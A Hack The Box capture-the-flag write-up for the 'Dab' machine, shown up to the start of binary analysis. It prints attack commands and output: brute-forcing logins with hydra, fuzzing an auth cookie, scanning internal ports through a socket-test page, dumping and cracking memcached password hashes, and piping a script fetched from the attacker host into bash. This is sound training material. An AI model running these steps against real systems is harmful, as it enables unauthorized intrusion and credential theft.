Hack The Box – Dab

This article contains my first writeup on a machine from Hack The Box. If you have not checked out Hack The Box yet, I really suggest you do. Aside from providing classical CTF-style challenges, the plattform hosts plenty of vulnerable machines (boxes), which are supposed to be exploited. The boxes tend to be geared to realistic scenarios and are thus an awesome opportunity to increase your own pen testing skills.

In order to prove the exploitation of a machine, there are two different flag files stored on each machine. The first one to acquire is a file called user.txt, which can be read by a low privileged user. The next step after initially exploiting the machine is to escalate privileges gaining access to an administrative user (root access). With this high privileged user a second file called root.txt can be read. Both files contain a flag (an md5sum), which is supposed to be submitted on the Hack The Box website rewarding you with the corresponding points for this machine.

According to those two steps/files the article is divided into the following sections:

User
    – Port Scan
    – FTP (Port 21)
    – SSH (Port 22)
    – HTTP nginx (Port 80)
    – HTTP nginx (Port 8080)
    – Back to SSH

Root
    – Initial Enumeration
    – SUID binaries
    – myexec
    – libseclogin.so
    – myexec’s password
    – ldconfig
    – Compile own shared Library


User

Port Scan

In order to get a quick overview of the most common opened ports we can run nmap -sV -sC 10.10.10.86. The option -sV enables the version detection of available services (eg. by evaluating the service’s banner). -sC makes nmap run all default scripts for the available services:

root@kali:~/Documents/htb/boxes/dab# nmap -sV -sC 10.10.10.86
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-12 06:38 EST
Nmap scan report for 10.10.10.86
Host is up (0.072s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.13.93
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
|   256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_  256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)
80/tcp   open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.10.86/login
8080/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.58 seconds

Since nmap only scans the 1000 most common ports by default, we should also run nmap 10.10.10.86 -p- to scan all 65535 ports. In this case this does not reveal any other open ports:

root@kali:~/Documents/htb/boxes/dab# nmap 10.10.10.86 -p-
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-12 06:47 EST
Nmap scan report for 10.10.10.86
Host is up (0.040s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 52.29 seconds

The output of the first scan above contains detailed information on 4 running services on port 21, 22, 80 and 8080. Let’s have a closer look at each of those services.

FTP (Port 21)

According to the nmap output, there is a vsftpd 3.0.3 listening on port 21:

21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.13.93
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status

Since we ran nmap with default scripts enabled (-sC), it also tried to login anonymously. Obviously this was successful and the output lists a file called dab.jpg. We can confirm this by using ftp:

root@kali:~/Documents/htb/boxes/dab# ftp 10.10.10.86
Connected to 10.10.10.86.
220 (vsFTPd 3.0.3)
Name (10.10.10.86:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        120          4096 Mar 26  2018 .
drwxr-xr-x    2 0        120          4096 Mar 26  2018 ..
-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
226 Directory send OK.

For the password simply hit ENTER. We can download the file using the command get dab.jpg:

ftp> get dab.jpg
local: dab.jpg remote: dab.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dab.jpg (8803 bytes).
226 Transfer complete.
8803 bytes received in 0.00 secs (239.8627 MB/s)
ftp> 

The image itself does not seem to reveal any useful information:

Also the metadata, which we can inspect using exiftool, do not seem to contain something useful:

root@kali:~/Documents/htb/boxes/dab# exiftool dab.jpg 
ExifTool Version Number         : 11.16
File Name                       : dab.jpg
Directory                       : .
File Size                       : 8.6 kB
File Modification Date/Time     : 2019:01:14 08:53:28-05:00
File Access Date/Time           : 2019:01:14 08:53:28-05:00
File Inode Change Date/Time     : 2019:01:14 08:53:28-05:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 96
Y Resolution                    : 96
Image Width                     : 151
Image Height                    : 132
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 151x132
Megapixels                      : 0.020

A common quick win to reveal hidden information in a file is to use strings or binwalk. Though in this case, there is nothing interesting here:

root@kali:~/Documents/htb/boxes/dab# strings dab.jpg 
JFIF
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
	#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
U,Za+M
@gyX
gztU
~QEjE
NBPt
...

root@kali:~/Documents/htb/boxes/dab# binwalk dab.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01


As a next step we could try steganography tools like steghide or stegoVeritas. Since there are more services to look at, we proceed with those first.

SSH (Port 22)

According to the nmap output, the server is running OpenSSH 7.2p2:

22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
|   256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
|_  256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)

This version is vulnerable to CVE-2018-15473, which can be used to determine if a given username exists or not. This can for example be done using this script:

root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 root
[+] Valid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 www-data
[+] Valid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 ftp
[+] Valid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 dab
[*] Invalid username
root@kali:/opt/ssh-user-enum# ./ssh-check-username.py 10.10.10.86 user
[*] Invalid username

Despite of verifying some common usernames this does not gives us a great advantage for now. So let’s proceed with the next service.

HTTP nginx (Port 80)

On port 80 a nginx webserver is listening:

80/tcp   open  http    nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.10.86/login

Accessing the website, we are redirected to a login page at /login:

Using default credentials (admin / admin) displays the error message Error: Login failed:

In order to find a valid login we can use hydra using a password wordlist from SecLists:

root@kali:~/Documents/htb/boxes/dab# hydra 10.10.10.86 -l admin -P /usr/share/wordlists/SecLists/Passwords/probable-v2-top12000.txt http-post-form "/login:username=^USER^&password=^PASS^:Login failed"
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-01-15 01:01:49
[DATA] max 16 tasks per 1 server, overall 16 tasks, 12645 login tries (l:1/p:12645), ~791 tries per task
[DATA] attacking http-post-form://10.10.10.86:80//login:username=^USER^&password=^PASS^:Login failed
[80][http-post-form] host: 10.10.10.86   login: admin   password: Password1
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-01-15 01:02:32

A quick explaination of the used options:

Option Description
-l admin For every login attempt use the username “admin”.
-P /usr/share/wordlists/... For the password use words from the given wordlist.
http-post-form The request method is POST.
"/login:username=^USER^&password=^PASS^:Login failed"" The request URL is /login. The POST parameters are username and password, which are set by hydra. A failed login attempt can be identified by the string “Login failed”

With the credentials revealed by hydra (admin / Password1) we can login to the page, which simply lists a bunch of stock items:

Aside of a debug comment in the sourcecode stating that the data tables were loaded from MySQL, there is nothing really noticeable:

<html>
  <head>
    <title>Items in stock</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
  </head>
  <body>
    <div class="container">
      <h2>Welcome admin</h2>
      <a href="/logout">Logout</a>
      
      <h3>Items in stock (database updated every few hours)</h3>
      <!-- Debug... data tables were loaded from : MySQL DB -->
      <table>
      <thead>
      <th>
        <tr>
          <th>Item</th>
          <th>Qty</th>
        </tr>
       </th>
       </thead>
       <tbody>

When we reload the page, the ordering of the stock items changes and the comment in the sourcecode now states Debug... data tables were loaded from : Cache:

<html>
  <head>
    <title>Items in stock</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
  </head>
  <body>
    <div class="container">
      <h2>Welcome admin</h2>
      <a href="/logout">Logout</a>
      
      <h3>Items in stock (database updated every few hours)</h3>
      <!-- Debug... data tables were loaded from : Cache -->
      <table>

Since there does not seem to be any other functionalities, let’s keep the sightings in mind and proceed with the next service.

HTTP nginx (Port 8080)

There is another nginx webserver listening on port 8080:

8080/tcp open  http    nginx 1.10.3 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Internal Dev

The website’s title is called Internal Dev displaying the error message Access denied: password authentication cookie not set:

Obviously we need to set an authentication cookie to access the page. Since we do not know the name of the cookie, we can use wfuzz to try different cookies and observe the server’s response:

root@kali:~/Documents/htb/boxes/dab# wfuzz -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b 'FUZZ=1' http://10.10.10.86:8080

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.86:8080/
Total requests: 2588

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000001:  C=200     14 L	      30 W	    322 Ch	  "id"
000002:  C=200     14 L	      30 W	    322 Ch	  "action"
000003:  C=200     14 L	      30 W	    322 Ch	  "page"
000004:  C=200     14 L	      30 W	    322 Ch	  "name"
000005:  C=200     14 L	      29 W	    324 Ch	  "password"
000006:  C=200     14 L	      30 W	    322 Ch	  "url"
000007:  C=200     14 L	      30 W	    322 Ch	  "email"
000008:  C=200     14 L	      30 W	    322 Ch	  "type"
000009:  C=200     14 L	      30 W	    322 Ch	  "username"
000010:  C=200     14 L	      30 W	    322 Ch	  "file"
000011:  C=200     14 L	      30 W	    322 Ch	  "title"
000012:  C=200     14 L	      30 W	    322 Ch	  "code"
...

A quick explaination of the used options:

Option Description
-w /usr/share/wordlists/... The wordlist to use for fuzzing (this this case burp-parameter-names.txt).
-b 'FUZZ=1' Set a cookie in the request. For the name use the fuzz input from the given wordlist.
http://10.10.10.86:8080 The URL to fuzz.

Within every line wfuzz reports how the server responded for a specific payload (cookie name) displaying the status code (e.g. C=200), the line count (e.g. 14 L), the word count (e.g. 30 W) and the character count (e.g. 322 Ch). Intently examining the first lines of output we can already see, that the response for the payload password differs from the others (29 W, 324 Ch). In order to make different responses like this stick out, we can set a filter. By providing the option --hh 322 we can for example hide responses, which contain exactely 322 characters:

root@kali:~/Documents/htb/boxes/dab# wfuzz --hh 322 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b 'FUZZ=1' http://10.10.10.86:8080

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.86:8080/
Total requests: 2588

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000005:  C=200     14 L	      29 W	    324 Ch	  "password"

Total time: 7.577409
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 341.5415

Using the filter we can see at a glance that the payload password differs from the others. Now we can make a request setting a cookie named password and see what the response actually contains:

root@kali:~/Documents/htb/boxes/dab# curl http://10.10.10.86:8080 --cookie "password=1"
<!DOCTYPE html>
<html lang="en">
<head>
<title>Internal Dev</title>
	<meta charset="UTF-8">
	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width">
</head>
<body>
<div class="container wrapper">

Access denied: password authentication cookie incorrect

</div>
</body>
</html>

There is another error message: Access denied: password authentication cookie incorrect. This means that the name of the cookie (password) is correct, but the value (we simply supplied 1 here) is not correct. Again we can use wfuzz to fuzz the actual value. This time we hide responses containing 324 characters:

root@kali:~/Documents/htb/boxes/dab# wfuzz --hh 324 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -b 'password=FUZZ' http://10.10.10.86:8080

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.86:8080/
Total requests: 2588

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000190:  C=200     21 L	      48 W	    540 Ch	  "secret"

Total time: 7.729689
Processed Requests: 2588
Filtered Requests: 2587
Requests/sec.: 334.8129

Yet again, there is a reponse sticking out. This time for the payload secret. Let’s make the corresponding request and inspect the response’s content:

root@kali:~/Documents/htb/boxes/dab# curl http://10.10.10.86:8080 --cookie "password=secret"
<!DOCTYPE html>
<html lang="en">
<head>
<title>Internal Dev</title>
	<meta charset="UTF-8">
	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width">
</head>
<body>
<div class="container wrapper">

<p>Status of cache engine: Online</p>
<h4>TCP socket test</h4>
<form action="/socket">
<input type="text" name="port" placeholder="TCP port"></input>
<input type="text" name="cmd" placeholder="Line to send..."></input>
<input type="submit" value="Submit"</input>
</form>


</div>
</body>
</html>

The page contains a TCP socket test with a form fields TCP port and Line to send.... By setting the cookie within our browser (e.g. using Cookie Manager) we can view the rendered page:

After having tried different ports and comparing the output with our nmap scan, we can be quite sure that the page is making connections to the server itself:

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=21&amp;cmd=a' --cookie "password=secret"
...
<p>Output</p>
<pre>
220 (vsFTPd 3.0.3)
530 Please login with USER and PASS.

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=22&amp;cmd=a' --cookie "password=secret"
...
<p>Output</p>
<pre>
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
Protocol mismatch.

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=80&amp;cmd=a' --cookie "password=secret"
...
<p>Output</p>
<pre>
HTTP/1.1 400 Bad Request
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 15 Jan 2019 07:04:51 GMT
Content-Type: text/html
Content-Length: 182
Connection: close

So what can we use this for? We also reached the ports above (21, 22, 80) from our own machine. Truly interesting are ports, which cannot be reached from our own machine, because there are listing on localhost. Those ports can be accessed through the webpage, because the page is running on the server itself.

If we try to access a port, which is not open, the server responses with 500 Internal Server Error. So we can create a bash-loop to internally scan for open ports:

root@kali:~/Documents/htb/boxes/dab# for i in `seq 1 20000`; do echo "port=$i"; curl 'http://10.10.10.86:8080/socket?port='$i'&amp;cmd=test' --cookie 'password=secret' 2>/dev/null | tr -d '\n' | grep -v '500 Internal Server Error' ;done > internalports.txt

This loop scans the first 20000 ports and really takes some time. Actually we already stumbled upon some hints, which port we should look for. Within the sourcecode of the website on port 80, we saw a debug comment stating that the data was loaded from MySQL. Also the TCP socket test website on port 8080 displays the message Status of cache engine: Online. This should lead us to memcached, which is by default listing on port 11211. After our internal port scan loop reaches this port, it actually verifies that there is something listening on port 11211:

root@kali:~/Documents/htb/boxes/dab# cat internalports.txt | grep -v 'port=' -B1 
port=21
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html> and PASS.mit"</input></form><p>Output</p><pre>220 (vsFTPd 3.0.3)
port=22
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></iProtocol mismatch.</pre></div></body></html>put></form><p>Output</p><pre>SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
--
port=80
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html>inx/1.10.3 (Ubuntu)</center>r>t;><pre>HTTP/1.1 400 Bad Request
--
port=8080
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html>inx/1.10.3 (Ubuntu)</center>r>t;><pre>HTTP/1.1 400 Bad Request
--
port=11211
<!DOCTYPE html><html lang="en"><head><title>Internal Dev</title>	<meta charset="UTF-8">	<meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width"></head><body><div class="container wrapper"><p>Status of cache engine: Online</p><h4>TCP socket test</h4><form action="/socket"><input type="text" name="port" placeholder="TCP port"></input><input type="text" name="cmd" placeholder="Line to send..."></i</pre></div></body></html>value="Submit"</input></form><p>Output</p><pre>ERROR

memcached is a key-value based cache, which purpose is to hold data from a database like MySQL in the RAM to make it available more quickly. With a little bit of research the required commands to display all keys can be found.

At first we use the command stats items to list the slab ids:

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=11211&amp;cmd=stats%20items' --cookie "password=secret"
...
<p>Output</p>
<pre>
STAT items:16:number 1
STAT items:16:age 833
STAT items:16:evicted 0
STAT items:16:evicted_nonzero 0
STAT items:16:evicted_time 0
STAT items:16:outofmemory 0
STAT items:16:tailrepairs 0
STAT items:16:reclaimed 0
STAT items:16:expired_unfetched 0
STAT items:16:evicted_unfetched 0
STAT items:16:crawler_reclaimed 0
STAT items:16:crawler_items_checked 0
STAT items:16:lrutail_reflocked 0
STAT items:26:number 1
STAT items:26:age 833
STAT items:26:evicted 0
STAT items:26:evicted_nonzero 0
STAT items:26:evicted_time 0
STAT items:26:outofmemory 0
STAT items:26:tailrepairs 0
STAT items:26:reclaimed 0
STAT items:26:expired_unfetched 0
STAT items:26:evicted_unfetched 0
STAT items:26:crawler_reclaimed 0
STAT items:26:crawler_items_checked 0
STAT items:26:lrutail_reflocked 0
END

With the slab ids we can dump the actual keys using the command stats cachedump <slabid> <limit>:

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=11211&amp;cmd=stats%20cachedump%2026%20100' --cookie "password=secret"
...
<p>Output</p>
<pre>
ITEM users [24625 b; 1547538384 s]
END

There is a key users which we can dump using the command get users:

root@kali:~/Documents/htb/boxes/dab# curl 'http://10.10.10.86:8080/socket?port=11211&amp;cmd=get%20users' --cookie "password=secret"
...
<p>Output</p>
<pre>
VALUE users 0 24625
{"quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", "jackie.abbott": "c6ab361604c4691f78958d6289910d21", ...

Great! We obviously got plenty of usernames and hashed passwords. Please notice that you had to be logged in on the stock item website on port 80 recently for the cache to actually contain data.

We can simply pipe the output to a file and adjust the formatting a little bit (replace html-encoding, add new lines, …):

root@kali:~/Documents/htb/boxes/dab# cat users2.txt | head
quinton_dach:17906b445a05dc42f78ae86a92a57bbd
jackie.abbott:c6ab361604c4691f78958d6289910d21
isidro:e4a4c90483d2ef61de42af1f044087f3
roy:afbde995441e19497fe0695e9c539266
colleen:d3792794c3143f7e04fd57dc8b085cd4
harrison.hessel:bc5f9b43a0336253ff947a4f8dbdb74f
asa.christiansen:d7505316e9a10fc113126f808663b5a4
jessie:71f08b45555acc5259bcefa3af63f4e1
milton_hintz:8f61be2ebfc66a5f2496bbf849c89b84
demario_homenick:2c22da161f085a9aba62b9bbedbd4ca7

The hash-values seem to be md5. We can verify this by using the password for the username admin, which we already revealed using hydra:

root@kali:~/Documents/htb/boxes/dab# echo -n "Password1" | md5sum
2ac9cb7dc02b3c0083eb70898e549b63  -
root@kali:~/Documents/htb/boxes/dab# cat users2.txt | grep admin
admin:2ac9cb7dc02b3c0083eb70898e549b63

That is a match. Let’s run john on the file to crack more passwords:

root@kali:~/Documents/htb/boxes/dab# john users2.txt --format=Raw-MD5
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 495 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
default          (default)
demo             (demo)
Princess1        (genevieve)
Password1        (admin)
piggy            (abbigail)
blaster          (alec)
megadeth         (wendell)
misfits          (aglae)
monkeyman        (ona)
...

After letting john run for a while, we can output the cracked credentials to a file:

root@kali:~/Documents/htb/boxes/dab# john users2.txt --format=Raw-MD5 --show > users_cracked.txt

Back to SSH

Now we can try to access SSH with those credentials. Again we can use hydra for this supplying the file with the username:password combination (delete the last two lines from the john output beforehand):

root@kali:~/Documents/htb/boxes/dab# hydra -C users_cracked.txt 10.10.10.86 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-01-15 03:20:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries, ~1 try per task
[DATA] attacking ssh://10.10.10.86:22/
[22][ssh] host: 10.10.10.86   login: genevieve   password: Princess1
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-01-15 03:20:14

Nice! We found valid credentials for SSH: genevieve:Princess1. Let’s verify this by connecting with SSH:

root@kali:~/Documents/htb/boxes/dab# ssh genevieve@10.10.10.86
genevieve@10.10.10.86's password: 
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-133-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Tue Jan 15 03:10:06 2019 from 10.10.13.71
genevieve@dab:~$ id
uid=1000(genevieve) gid=1000(genevieve) groups=1000(genevieve)
genevieve@dab:~$ 

We successfully logged in. Now we can read the first flag file user.txt:

genevieve@dab:~$ ls -al
total 36
drwxr-xr-x 4 genevieve genevieve 4096 Jan 15 03:17 .
drwxr-xr-x 3 root      root      4096 Mar 19  2018 ..
lrwxrwxrwx 1 root      root         9 Aug 15 06:22 .bash_history -> /dev/null
-rw-r--r-- 1 genevieve genevieve  220 Mar 19  2018 .bash_logout
-rw-r--r-- 1 genevieve genevieve 3793 Mar 25  2018 .bashrc
drwx------ 2 genevieve genevieve 4096 Jan 15 03:19 .cache
-rw-r--r-- 1 genevieve genevieve  655 Mar 19  2018 .profile
drwx------ 2 genevieve genevieve 4096 Jan 15 02:01 .ssh
-r-------- 1 genevieve genevieve   33 Mar 19  2018 user.txt
-rw------- 1 genevieve genevieve  991 Jan 15 03:17 .viminfo
genevieve@dab:~$ cat user.txt 
9bcd ... (output truncated)

I truncated the output to avoid the temptation of just copy/pasting the flag.

After successfully gaining access to the machine as a user, we now proceed with the privilege escalation to root.


Root

Initial Enumeration

A good way to initially enumerate a system is LinEnum. In order to run the LinEnum.sh script, we host it on our attacker machine using python -m SimpleHTTPServer

root@kali:~/Documents/htb/boxes/dab# wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
--2019-01-15 04:23:40--  https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
Resolving github.com (github.com)... 192.30.253.112, 192.30.253.113
Connecting to github.com (github.com)|192.30.253.112|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh [following]
--2019-01-15 04:23:40--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.12.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.12.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45578 (45K) 
Saving to: ‘LinEnum.sh’

LinEnum.sh                         100%[===============================================================>]  44.51K  --.-KB/s    in 0.02s   

2019-01-15 04:23:40 (2.88 MB/s) - ‘LinEnum.sh’ saved [45578/45578]

root@kali:~/Documents/htb/boxes/dab# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

… and pipe it to bash on the target machine. This way we directly execute the script and do not leave traces by downloading it to disk:

genevieve@dab:~$  curl http://10.10.12.142:8000/LinEnum.sh | bash
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 45578  100 45578    0     0   598k      0 --:--:-- --:--:-- --:--:--  601k

#########################################################
# Local Linux Enumeration &amp; Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.94

[-] Debug Info
[+] Thorough tests = Disabled (SUID/GUID checks will not be perfomed!)


Scan started at:
Tue Jan 15 04:24:16 EST 2019


### SYSTEM ##############################################
[-] Kernel information:
Linux dab 4.4.0-133-generic #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux


[-] Kernel information (continued):
Linux version 4.4.0-133-generic (buildd@lgw01-amd64-029) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.10) ) #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018
...

After examining the output we get a general idea of the basic configuration of the system. Since there are no real striking abnormalities, we keep on looking for escalation possibilities manually.

SUID binaries

One common way to escalate privileges are vulnerable SUID binaries. These can be identified by enabling thorough tests in the LinEnum.sh script, but we can also search for those binaries using find:

genevieve@dab:~$ find / -xdev -perm -4000 2>/dev/null
/bin/umount
/bin/ping
/bin/ping6
/bin/su
/bin/ntfs-3g
/bin/fusermount
/bin/mount
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/myexec
/usr/bin/pkexec
/usr/bin/chfn
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/sbin/ldconfig
/sbin/ldconfig.real

A quick explanation of the used options:

Option Description
/ Start searching from the root-directory.
-xdev Don’t descend directories on other filesystems (mainly to exclude /dev, /proc and /sys).
-perm -4000 Search for files/directories with the SUID bit set.

In order to spot abnormalities here, it is very helpful if you have already some experience in knowing which files are usually SUID binaries. Of course you can also run the find command on an untouched reference machine and compare the results.

One file which sticks out here is /usr/bin/myexec, which does not exist by default. Also the SUID bit of /sbin/ldconfig and /sbin/ldconfig.real is usually not set.

myexec

In order to analyze the file /usr/bin/myexec we download it to our attacker machine:

root@kali:~/Documents/htb/boxes/dab# scp genevieve@10.10.10.86:/usr/bin/myexec .
genevieve@10.10.10.86's password: 
myexec                                                                                     100% 8864   421.8KB/s   00:00    

Now we can use radare2 to analyze the binary disassembling the main function:

root@kali:~/Documents/htb/boxes/dab# r2 -A myexec 
